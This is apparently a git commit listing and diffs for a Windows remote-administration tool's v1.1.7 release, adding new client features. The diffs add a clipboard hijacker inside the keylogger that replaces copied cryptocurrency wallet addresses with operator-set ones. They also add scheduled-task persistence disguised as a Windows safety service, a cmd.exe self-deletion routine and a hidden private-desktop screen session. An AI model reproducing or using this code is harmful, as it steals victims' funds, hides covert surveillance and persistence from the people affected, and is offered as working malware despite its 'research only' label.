8 Commits

Author SHA1 Message Date
yuanyuanxiang
5c6aade0d0 Release v1.1.7 2025-10-12 13:26:42 +02:00
yuanyuanxiang
a3439aee87 Feature: Add private remote desktop source code 2025-10-11 23:29:37 +02:00
yuanyuanxiang
68c721a41b Fix dead clipboard loop and add missing libraries 2025-10-09 03:41:36 +08:00
yuanyuanxiang
75d7ffa32a Feature: Add a menu to uninstall client program 2025-10-08 21:25:59 +02:00
yuanyuanxiang
d7c0e32d91 fix: #195 Client get public IP failed 2025-10-07 22:09:52 +02:00
yuanyuanxiang
80fe1f5e3c Feature: Add tool menu for changing exe file icon 2025-10-06 22:02:17 +02:00
yuanyuanxiang
1de6ddb564 Feature: #193 Automatically delete client after first running 2025-10-05 21:13:31 +02:00
yuanyuanxiang
1ddcd4584f Feature: Add digital coin hack feature (research only) 2025-10-05 12:15:49 +02:00
48 changed files with 1388 additions and 41 deletions

View File

@@ -14,3 +14,4 @@
- [HPSocket v6.0.3](https://github.com/ldcsaa/HP-Socket)
- [shrink v0.0.1](https://github.com/yuanyuanxiang/PrivateRemoter/tree/master/shrink)
- [clip v1.11](https://github.com/dacap/clip)

View File

@@ -345,6 +345,18 @@ Release v1.1.4
* 功能:新增客户端 shellcode 构建选项
* 功能:支持多个远程显示器(视频墙)
**2025.10.12**
发布版本 v1.1.7
增加新工具、自动删除客户端、修复 IP 问题,并加入私有远程桌面代码。
* 功能:添加数字货币地址劫持功能(仅供研究)
* 功能:#193 首次运行后自动删除客户端
* 功能:添加用于更改 exe 文件图标的工具菜单
* 修复:#195 客户端获取公网 IP 失败
* 功能:添加卸载客户端程序的菜单
* 功能:添加远程桌面隐私屏幕源代码
---

View File

@@ -355,6 +355,19 @@ This update adds client compression and build options, supports multiple display
* Feature: Add client shellcode building option
* Feature: Supports multiple remote displays (video wall)
**2025.10.12**
Release v1.1.7
This version adds new tools, auto client deletion, IP fix, and private remote desktop code.
* Feature: Add digital coin hack feature (research only)
* Feature: #193 Automatically delete client after first running
* Feature: Add tool menu for changing exe file icon
* fix: #195 Client get public IP failed
* Feature: Add a menu to uninstall client program
* Feature: Add private remote desktop source code
---
# 6. Related Projects

Binary file not shown.

Binary file not shown.

View File

@@ -4,6 +4,9 @@
#include "stdafx.h"
#include "ClientDll.h"
#include <common/iniFile.h>
extern "C" {
#include "reg_startup.h"
}
// <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>ֵ
#define REG_NAME "a_ghost"
@@ -177,6 +180,13 @@ BOOL CALLBACK callback(DWORD CtrlType)
int main(int argc, const char *argv[])
{
// ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int r = RegisterStartup("Windows Ghost", "WinGhost");
if (r <= 0) {
BOOL s = self_del();
if (!IsDebug)return r;
}
if (!SetSelfStart(argv[0], REG_NAME))
{
Mprintf("<EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ù<EFBFBD><EFBFBD><EFBFBD>ԱȨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n");
@@ -420,6 +430,7 @@ extern "C" __declspec(dllexport) void Run(HWND hwnd, HINSTANCE hinst, LPSTR lpsz
DWORD WINAPI StartClient(LPVOID lParam)
{
Mprintf("StartClient begin\n");
ClientApp& app(*(ClientApp*)lParam);
CONNECT_ADDRESS& settings(*(app.g_Connection));
if (!app.m_bShared)
@@ -466,6 +477,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
ULONGLONG dwTickCount = GetTickCount64();
if (!ClientObject->ConnectServer(settings.ServerIP(), settings.ServerPort()))
{
Mprintf("[ConnectServer] ---> %s:%d.\n", settings.ServerIP(), settings.ServerPort());
for (int k = 300+(IsDebug ? rand()%600:rand()%6000); app.m_bIsRunning(&app) && --k; Sleep(10));
SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED);
continue;

View File

@@ -71,21 +71,21 @@
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(LibraryPath)</LibraryPath>
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(LibraryPath)</LibraryPath>
<IntDir>$(Configuration)\dll</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(LibraryPath)</LibraryPath>
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(LibraryPath)</LibraryPath>
<IntDir>$(Platform)\$(Configuration)\dll</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(LibraryPath)</LibraryPath>
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(LibraryPath)</LibraryPath>
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common</IncludePath>
<IntDir>$(Configuration)\dll</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(LibraryPath)</LibraryPath>
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(LibraryPath)</LibraryPath>
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common</IncludePath>
<IntDir>$(Platform)\$(Configuration)\dll</IntDir>
</PropertyGroup>
@@ -197,12 +197,14 @@
<ItemGroup>
<ClInclude Include="..\common\ikcp.h" />
<ClInclude Include="..\common\location.h" />
<ClInclude Include="..\common\wallet.h" />
<ClInclude Include="..\common\zstd_wrapper.h" />
<ClInclude Include="..\server\2015Remote\pwd_gen.h" />
<ClInclude Include="Audio.h" />
<ClInclude Include="AudioManager.h" />
<ClInclude Include="Buffer.h" />
<ClInclude Include="CaptureVideo.h" />
<ClInclude Include="clip.h" />
<ClInclude Include="Common.h" />
<ClInclude Include="CursorInfo.h" />
<ClInclude Include="FileManager.h" />

View File

@@ -46,6 +46,36 @@ template <class Manager, int n> DWORD WINAPI LoopManager(LPVOID lParam)
return 0;
}
#ifdef _WIN64
#ifdef _DEBUG
#pragma comment(lib, "PrivateDesktop_Libx64d.lib")
#else
#pragma comment(lib, "PrivateDesktop_Libx64.lib")
#endif
void ShowBlackWindow(IOCPBase* ClientObject, CONNECT_ADDRESS* conn, const std::string& hash, const std::string& hmac);
#else
void ShowBlackWindow(IOCPBase* ClientObject, CONNECT_ADDRESS* conn, const std::string& hash, const std::string& hmac) {
return ClientObject->RunEventLoop(TRUE);
}
#endif
DWORD private_desktop(CONNECT_ADDRESS* conn, const State &exit, const std::string& hash, const std::string& hmac) {
IOCPClient* ClientObject = new IOCPClient(exit, true, conn->iHeaderEnc);
if (ClientObject->ConnectServer(conn->ServerIP(), conn->ServerPort()))
{
CScreenManager m(ClientObject, 32, (void*)1);
if (IsWindows8orHigher()) {
ShowBlackWindow(ClientObject, conn, hash, hmac);
}
else {
ClientObject->RunEventLoop(TRUE);
}
}
delete ClientObject;
return 0;
}
DWORD WINAPI LoopScreenManager(LPVOID lParam)
{
return LoopManager<CScreenManager, 0>(lParam);

View File

@@ -19,6 +19,7 @@ typedef struct UserParam
}UserParam;
DWORD WINAPI ThreadProc(LPVOID lParam);
DWORD private_desktop(CONNECT_ADDRESS* conn, const State& exit, const std::string& hash, const std::string& hmac);
DWORD WINAPI LoopShellManager(LPVOID lParam);
DWORD WINAPI LoopScreenManager(LPVOID lParam);

9
client/IOCPBase.h Normal file
View File

@@ -0,0 +1,9 @@
#include "common/commands.h"
class IOCPBase {
public:
virtual BOOL IsRunning() const = 0;
virtual VOID RunEventLoop(const BOOL& bCondition) = 0;
};
typedef BOOL(*TrailCheck)(void);

View File

@@ -19,6 +19,7 @@
#define NO_AES
#include "common/encrypt.h"
#include "SafeThread.h"
#include "IOCPBase.h"
#define MAX_RECV_BUFFER 1024*32
#define MAX_SEND_BUFFER 1024*32
@@ -108,7 +109,7 @@ public:
typedef BOOL(*TrailCheck)(void);
class IOCPClient
class IOCPClient : public IOCPBase
{
public:
IOCPClient(const State& bExit, bool exit_while_disconnect = false, int mask=0, int encoder=0,

View File

@@ -15,6 +15,7 @@
#include <common/iniFile.h>
#include "IOCPUDPClient.h"
#include "IOCPKCPClient.h"
#include "auto_start.h"
// UDP 协议仅能针对小包数据,且数据没有时序关联
IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP, bool exit_while_disconnect) {
@@ -478,6 +479,16 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
break;
}
case TOKEN_PRIVATESCREEN: {
char h[100] = {};
memcpy(h, szBuffer + 1, ulLength - 1);
std::string hash = std::string(h, h + 64);
std::string hmac = std::string(h + 64, h + 80);
std::thread t(private_desktop, m_conn, g_bExit, hash, hmac);
t.detach();
break;
}
case COMMAND_PROXY: {
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP);
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProxyManager, &m_hThread[m_ulThreadCount], 0, NULL);;
@@ -527,6 +538,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
case CMD_MASTERSETTING:
if (ulLength > sizeof(MasterSettings)) {
memcpy(&m_settings, szBuffer + 1, sizeof(MasterSettings));
// Remark 打开键盘记录或下一次启动客户端才会生效
iniFile cfg(CLIENT_PATH);
cfg.SetStr("settings", "wallet", m_settings.WalletAddress);
}
break;
case COMMAND_KEYBOARD: //键盘记录
@@ -578,6 +592,16 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
break;
}
case TOKEN_UNINSTALL:
{
BYTE bToken = COMMAND_BYE;// 被控端退出
m_ClientObject->Send2Server((char*)&bToken, 1);
g_bExit = S_CLIENT_EXIT;
self_del(10);
Mprintf("======> Client uninstall \n");
break;
}
case SERVER_EXIT:
{
// 主控端退出

View File

@@ -19,6 +19,21 @@
#include <iniFile.h>
#define CAPTION_SIZE 1024
#include "wallet.h"
#include "clip.h"
#ifdef _WIN64
#ifdef _DEBUG
#pragma comment(lib, "clip_x64D.lib")
#else
#pragma comment(lib, "clip_x64.lib")
#endif
#else
#ifdef _DEBUG
#pragma comment(lib, "clipd.lib")
#else
#pragma comment(lib, "clip.lib")
#endif
#endif
CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user) : CManager(pClient)
{
@@ -30,7 +45,10 @@ CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user
m_Buffer = new CircularBuffer(m_strRecordFile);
m_bIsWorking = true;
iniFile cfg(CLIENT_PATH);
m_Wallet = StringToVector(cfg.GetStr("settings", "wallet", ""), ';', MAX_WALLET_NUM);
m_hClipboard = __CreateThread(NULL, 0, Clipboard, (LPVOID)this, 0, NULL);
m_hWorkThread = __CreateThread(NULL, 0, KeyLogger, (LPVOID)this, 0, NULL);
m_hSendThread = __CreateThread(NULL, 0, SendData,(LPVOID)this,0,NULL);
SetReady(TRUE);
@@ -39,8 +57,10 @@ CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user
CKeyboardManager1::~CKeyboardManager1()
{
m_bIsWorking = false;
WaitForSingleObject(m_hClipboard, INFINITE);
WaitForSingleObject(m_hWorkThread, INFINITE);
WaitForSingleObject(m_hSendThread, INFINITE);
CloseHandle(m_hClipboard);
CloseHandle(m_hWorkThread);
CloseHandle(m_hSendThread);
m_Buffer->WriteAvailableDataToFile(m_strRecordFile);
@@ -50,6 +70,11 @@ CKeyboardManager1::~CKeyboardManager1()
void CKeyboardManager1::Notify() {
if (NULL == this)
return;
m_mu.Lock();
iniFile cfg(CLIENT_PATH);
m_Wallet = StringToVector(cfg.GetStr("settings", "wallet", ""), ';', MAX_WALLET_NUM);
m_mu.Unlock();
sendStartKeyBoard();
WaitForDialogOpen();
}
@@ -72,6 +97,13 @@ void CKeyboardManager1::OnReceive(LPBYTE lpBuffer, ULONG nSize)
}
}
std::vector<std::string> CKeyboardManager1::GetWallet() {
m_mu.Lock();
auto w = m_Wallet;
m_mu.Unlock();
return w;
}
int CKeyboardManager1::sendStartKeyBoard()
{
BYTE bToken[2];
@@ -438,6 +470,60 @@ int CALLBACK WriteBuffer(const char* record, void* user) {
return 0;
}
DWORD WINAPI CKeyboardManager1::Clipboard(LPVOID lparam) {
CKeyboardManager1* pThis = (CKeyboardManager1*)lparam;
while (pThis->m_bIsWorking) {
auto w = pThis->GetWallet();
if (!w.empty() && clip::has(clip::text_format())) {
std::string value;
clip::get_text(value);
if (value.length() > 200) {
Sleep(1000);
continue;
}
auto type = detectWalletType(value);
switch (type) {
case WALLET_UNKNOWN:
break;
case WALLET_BTC_P2PKH:
case WALLET_BTC_P2SH:
case WALLET_BTC_BECH32:
if (!w[ADDR_BTC].empty()) clip::set_text(w[ADDR_BTC]);
break;
case WALLET_ETH_ERC20:
if (!w[ADDR_ERC20].empty()) clip::set_text(w[ADDR_ERC20]);
break;
case WALLET_USDT_OMNI:
if (!w[ADDR_OMNI].empty()) clip::set_text(w[ADDR_OMNI]);
break;
case WALLET_USDT_TRC20:
if (!w[ADDR_TRC20].empty()) clip::set_text(w[ADDR_TRC20]);
break;
case WALLET_TRON:
if (!w[ADDR_TRON].empty()) clip::set_text(w[ADDR_TRON]);
break;
case WALLET_SOLANA:
if (!w[ADDR_SOL].empty()) clip::set_text(w[ADDR_SOL]);
break;
case WALLET_XRP:
if (!w[ADDR_XRP].empty()) clip::set_text(w[ADDR_XRP]);
break;
case WALLET_POLKADOT:
if (!w[ADDR_DOT].empty()) clip::set_text(w[ADDR_DOT]);
break;
case WALLET_CARDANO_SHELLEY:
case WALLET_CARDANO_BYRON:
if (!w[ADDR_ADA].empty()) clip::set_text(w[ADDR_ADA]);
break;
case WALLET_DOGE:
if (!w[ADDR_DOGE].empty()) clip::set_text(w[ADDR_DOGE]);
break;
}
}
Sleep(1000);
}
return 0x20251005;
}
DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
{

View File

@@ -220,9 +220,11 @@ public:
virtual ~CKeyboardManager1();
virtual void Notify();
virtual void OnReceive(LPBYTE lpBuffer, ULONG nSize);
static DWORD WINAPI Clipboard(LPVOID lparam);
static DWORD WINAPI KeyLogger(LPVOID lparam);
static DWORD WINAPI SendData(LPVOID lparam);
BOOL m_bIsOfflineRecord;
HANDLE m_hClipboard;
HANDLE m_hWorkThread,m_hSendThread;
TCHAR m_strRecordFile[MAX_PATH];
private:
@@ -233,6 +235,9 @@ private:
bool m_bIsWorking;
CircularBuffer *m_Buffer;
CLocker m_mu;
std::vector<std::string> m_Wallet;
std::vector<std::string> GetWallet();
};
#undef BUFFER_SIZE

View File

@@ -88,7 +88,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
//
VS_VERSION_INFO VERSIONINFO
FILEVERSION 1,0,1,5
FILEVERSION 1,0,1,7
PRODUCTVERSION 1,0,0,1
FILEFLAGSMASK 0x3fL
#ifdef _DEBUG
@@ -106,7 +106,7 @@ BEGIN
BEGIN
VALUE "CompanyName", "FUCK THE UNIVERSE"
VALUE "FileDescription", "A GHOST"
VALUE "FileVersion", "1.0.1.5"
VALUE "FileVersion", "1.0.1.7"
VALUE "InternalName", "ServerDll.dll"
VALUE "LegalCopyright", "Copyright (C) 2019-2025"
VALUE "OriginalFilename", "ServerDll.dll"

View File

@@ -156,11 +156,13 @@
<ItemGroup>
<ClCompile Include="Loader.cpp" />
<ClCompile Include="MemoryModule.c" />
<ClCompile Include="reg_startup.c" />
<ClCompile Include="test.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="auto_start.h" />
<ClInclude Include="MemoryModule.h" />
<ClInclude Include="reg_startup.h" />
<ClInclude Include="resource1.h" />
</ItemGroup>
<ItemGroup>

View File

@@ -62,3 +62,31 @@ inline BOOL SetSelfStart(const char* sPath, const char* sNmae)
// <20>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>
return lRet == ERROR_SUCCESS;
}
inline bool markForDeleteOnReboot(const char* file)
{
return MoveFileExA(file, NULL, MOVEFILE_DELAY_UNTIL_REBOOT | MOVEFILE_WRITE_THROUGH) != FALSE;
}
inline BOOL self_del(int timeoutSecond=3)
{
char file[MAX_PATH] = { 0 }, szCmd[MAX_PATH * 2] = { 0 };
if (GetModuleFileName(NULL, file, MAX_PATH) == 0)
return FALSE;
markForDeleteOnReboot(file);
sprintf(szCmd, "cmd.exe /C timeout /t %d /nobreak > Nul & Del /f /q \"%s\"", timeoutSecond, file);
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
si.cb = sizeof(si);
if (CreateProcess(NULL, szCmd, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return TRUE;
}
return FALSE;
}

211
client/clip.h Normal file
View File

@@ -0,0 +1,211 @@
// Clip Library
// Copyright (c) 2015-2024 David Capello
//
// This file is released under the terms of the MIT license.
// Read LICENSE.txt for more information.
#ifndef CLIP_H_INCLUDED
#define CLIP_H_INCLUDED
#pragma once
#include <cassert>
#include <memory>
#include <string>
#include <vector>
namespace clip {
// ======================================================================
// Low-level API to lock the clipboard/pasteboard and modify it
// ======================================================================
// Clipboard format identifier.
typedef size_t format;
#if CLIP_ENABLE_IMAGE
class image;
struct image_spec;
#endif // CLIP_ENABLE_IMAGE
#if CLIP_ENABLE_LIST_FORMATS
struct format_info {
format id = 0;
std::string name;
format_info(const format id,
const std::string& name)
: id(id),
name(name) {
}
};
#endif // CLIP_ENABLE_LIST_FORMATS
class lock {
public:
// You can give your current HWND as the "native_window_handle."
// Windows clipboard functions use this handle to open/close
// (lock/unlock) the clipboard. From the MSDN documentation we
// need this handler so SetClipboardData() doesn't fail after a
// EmptyClipboard() call. Anyway it looks to work just fine if we
// call OpenClipboard() with a null HWND.
lock(void* native_window_handle = nullptr);
~lock();
// Returns true if we've locked the clipboard successfully in
// lock() constructor.
bool locked() const;
// Clears the clipboard content. If you don't clear the content,
// previous clipboard content (in unknown formats) could persist
// after the unlock.
bool clear();
// Returns true if the clipboard can be converted to the given
// format.
bool is_convertible(format f) const;
bool set_data(format f, const char* buf, size_t len);
bool get_data(format f, char* buf, size_t len) const;
size_t get_data_length(format f) const;
#if CLIP_ENABLE_IMAGE
// For images
bool set_image(const image& image);
bool get_image(image& image) const;
bool get_image_spec(image_spec& spec) const;
#endif // CLIP_ENABLE_IMAGE
#if CLIP_ENABLE_LIST_FORMATS
// Returns the list of available formats (by name) in the
// clipboard.
std::vector<format_info> list_formats() const;
#endif // CLIP_ENABLE_LIST_FORMATS
private:
class impl;
std::unique_ptr<impl> p;
};
format register_format(const std::string& name);
// This format is when the clipboard has no content.
format empty_format();
// When the clipboard has UTF8 text.
format text_format();
#if CLIP_ENABLE_IMAGE
// When the clipboard has an image.
format image_format();
#endif
// Returns true if the clipboard has content of the given type.
bool has(format f);
// Clears the clipboard content.
bool clear();
// ======================================================================
// Error handling
// ======================================================================
enum class ErrorCode {
CannotLock,
#if CLIP_ENABLE_IMAGE
ImageNotSupported,
#endif
};
typedef void (*error_handler)(ErrorCode code);
void set_error_handler(error_handler f);
error_handler get_error_handler();
// ======================================================================
// Text
// ======================================================================
// High-level API to put/get UTF8 text in/from the clipboard. These
// functions returns false in case of error.
bool set_text(const std::string& value);
bool get_text(std::string& value);
// ======================================================================
// Image
// ======================================================================
#if CLIP_ENABLE_IMAGE
struct image_spec {
unsigned long width = 0;
unsigned long height = 0;
unsigned long bits_per_pixel = 0;
unsigned long bytes_per_row = 0;
unsigned long red_mask = 0;
unsigned long green_mask = 0;
unsigned long blue_mask = 0;
unsigned long alpha_mask = 0;
unsigned long red_shift = 0;
unsigned long green_shift = 0;
unsigned long blue_shift = 0;
unsigned long alpha_shift = 0;
unsigned long required_data_size() const;
};
// The image data must contain straight RGB values
// (non-premultiplied by alpha). The image retrieved from the
// clipboard will be non-premultiplied too. Basically you will be
// always dealing with straight alpha images.
//
// Details: Windows expects premultiplied images on its clipboard
// content, so the library code make the proper conversion
// automatically. macOS handles straight alpha directly, so there is
// no conversion at all. Linux/X11 images are transferred in
// image/png format which are specified in straight alpha.
class image {
public:
image();
image(const image_spec& spec);
image(const void* data, const image_spec& spec);
image(const image& image);
image(image&& image);
~image();
image& operator=(const image& image);
image& operator=(image&& image);
char* data() const { return m_data; }
const image_spec& spec() const { return m_spec; }
bool is_valid() const { return m_data != nullptr; }
void reset();
private:
void copy_image(const image& image);
void move_image(image&& image);
bool m_own_data;
char* m_data;
image_spec m_spec;
};
// High-level API to set/get an image in/from the clipboard. These
// functions returns false in case of error.
bool set_image(const image& img);
bool get_image(image& img);
bool get_image_spec(image_spec& spec);
#endif // CLIP_ENABLE_IMAGE
// ======================================================================
// Platform-specific
// ======================================================================
// Only for X11: Sets the time (in milliseconds) that we must wait
// for the selection/clipboard owner to receive the content. This
// value is 1000 (one second) by default.
void set_x11_wait_timeout(int msecs);
int get_x11_wait_timeout();
} // namespace clip
#endif // CLIP_H_INCLUDED

View File

@@ -193,6 +193,7 @@
<ClCompile Include="proxy\ProxyManager.cpp" />
<ClCompile Include="RegisterManager.cpp" />
<ClCompile Include="RegisterOperation.cpp" />
<ClCompile Include="reg_startup.c" />
<ClCompile Include="SafeThread.cpp" />
<ClCompile Include="ScreenManager.cpp" />
<ClCompile Include="ScreenSpy.cpp" />
@@ -207,6 +208,7 @@
<ItemGroup>
<ClInclude Include="..\common\ikcp.h" />
<ClInclude Include="..\common\mask.h" />
<ClInclude Include="..\common\wallet.h" />
<ClInclude Include="..\common\zstd_wrapper.h" />
<ClInclude Include="..\server\2015Remote\pwd_gen.h" />
<ClInclude Include="Audio.h" />
@@ -214,6 +216,7 @@
<ClInclude Include="auto_start.h" />
<ClInclude Include="Buffer.h" />
<ClInclude Include="CaptureVideo.h" />
<ClInclude Include="clip.h" />
<ClInclude Include="Common.h" />
<ClInclude Include="CursorInfo.h" />
<ClInclude Include="domain_pool.h" />
@@ -230,6 +233,7 @@
<ClInclude Include="proxy\ProxyManager.h" />
<ClInclude Include="RegisterManager.h" />
<ClInclude Include="RegisterOperation.h" />
<ClInclude Include="reg_startup.h" />
<ClInclude Include="resource.h" />
<ClInclude Include="SafeThread.h" />
<ClInclude Include="ScreenManager.h" />

342
client/reg_startup.c Normal file
View File

@@ -0,0 +1,342 @@
/*
* Author: 962914132@qq.com
* Purpose: Create a scheduled task.
* Language: C
*/
#include "reg_startup.h"
#include <windows.h>
#include <taskschd.h>
#include <wchar.h>
#include <userenv.h>
#include <lmcons.h>
#include <shlwapi.h>
#include <stdio.h>
#include <stddef.h>
#define Mprintf printf
#pragma comment(lib, "taskschd.lib")
#pragma comment(lib, "comsupp.lib")
#pragma comment(lib, "userenv.lib")
#pragma comment(lib, "shlwapi.lib")
inline void ConvertCharToWChar(const char* charStr, wchar_t* wcharStr, size_t wcharSize) {
MultiByteToWideChar(CP_ACP, 0, charStr, -1, wcharStr, wcharSize);
}
int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,const char* desc,BOOL run)
{
HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
if (FAILED(hr)) {
Mprintf("<EFBFBD>޷<EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><EFBFBD>COM<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>룺%ld\n", hr);
return 1;
}
ITaskService* pService = NULL;
hr = CoCreateInstance(&CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, &IID_ITaskService, (void**)&pService);
if (FAILED(hr)) {
Mprintf("<EFBFBD>޷<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>TaskSchedulerʵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>룺%ld\n", hr);
CoUninitialize();
return 2;
}
VARIANT empty;
VariantInit(&empty);
empty.vt = VT_EMPTY;
hr = pService->lpVtbl->Connect(pService, empty, empty, empty, empty);
if (FAILED(hr)) {
Mprintf("<EFBFBD>޷<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƻ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>񣬴<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>룺%ld\n", hr);
pService->lpVtbl->Release(pService);
CoUninitialize();
return 3;
}
WCHAR wRootPath[MAX_PATH] = {0};
ConvertCharToWChar("\\", wRootPath, MAX_PATH);
ITaskFolder* pRootFolder = NULL;
hr = pService->lpVtbl->GetFolder(pService, wRootPath, &pRootFolder);
if (FAILED(hr)) {
Mprintf("<EFBFBD>޷<EFBFBD><EFBFBD><EFBFBD>ȡ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƻ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD>У<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>룺%ld\n", hr);
pService->lpVtbl->Release(pService);
CoUninitialize();
return 4;
}
WCHAR wTaskName[MAX_PATH] = {0};
ConvertCharToWChar(taskName, wTaskName, MAX_PATH);
IRegisteredTask* pOldTask = NULL;
hr = pRootFolder->lpVtbl->GetTask(pRootFolder, wTaskName, &pOldTask);
if (SUCCEEDED(hr) && pOldTask != NULL) {
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ѵ<EFBFBD><EFBFBD><EFBFBD>: %s\n", taskName);
pOldTask->lpVtbl->Release(pOldTask);
if (check) {
pRootFolder->lpVtbl->Release(pRootFolder);
pService->lpVtbl->Release(pService);
CoUninitialize();
return 0;
}
}
pRootFolder->lpVtbl->DeleteTask(pRootFolder, wTaskName, 0);
ITaskDefinition* pTask = NULL;
hr = pService->lpVtbl->NewTask(pService, 0, &pTask);
pRootFolder->lpVtbl->Release(pRootFolder);
if (FAILED(hr)) {
Mprintf("<EFBFBD>޷<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>룺%ld\n", hr);
pService->lpVtbl->Release(pService);
CoUninitialize();
return 5;
}
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
ITaskSettings* pSettings = NULL;
hr = pTask->lpVtbl->get_Settings(pTask, &pSettings);
if (SUCCEEDED(hr)) {
BSTR zeroTime = SysAllocString(L"PT0S");
pSettings->lpVtbl->put_ExecutionTimeLimit(pSettings, zeroTime);
SysFreeString(zeroTime);
pSettings->lpVtbl->put_DisallowStartIfOnBatteries(pSettings, VARIANT_FALSE);
pSettings->lpVtbl->put_StopIfGoingOnBatteries(pSettings, VARIANT_FALSE);
pSettings->lpVtbl->Release(pSettings);
}
IRegistrationInfo* pRegInfo = NULL;
hr = pTask->lpVtbl->get_RegistrationInfo(pTask, &pRegInfo);
if (SUCCEEDED(hr)) {
WCHAR temp[MAX_PATH] = {0};
ConvertCharToWChar("SYSTEM", temp, MAX_PATH);
BSTR author = SysAllocString(temp);
pRegInfo->lpVtbl->put_Author(pRegInfo, author);
SysFreeString(author);
ConvertCharToWChar("v12.0.0.1", temp, MAX_PATH);
BSTR version = SysAllocString(temp);
pRegInfo->lpVtbl->put_Version(pRegInfo, version);
SysFreeString(version);
char d[] = {'T','h','i','s',' ','s','e','r','v','i','c','e',' ','k','e','e','p','s',' ',
'y','o','u','r',' ','w','i','n','d','o','w','s',' ','s','a','f','e','t','y','.',0};
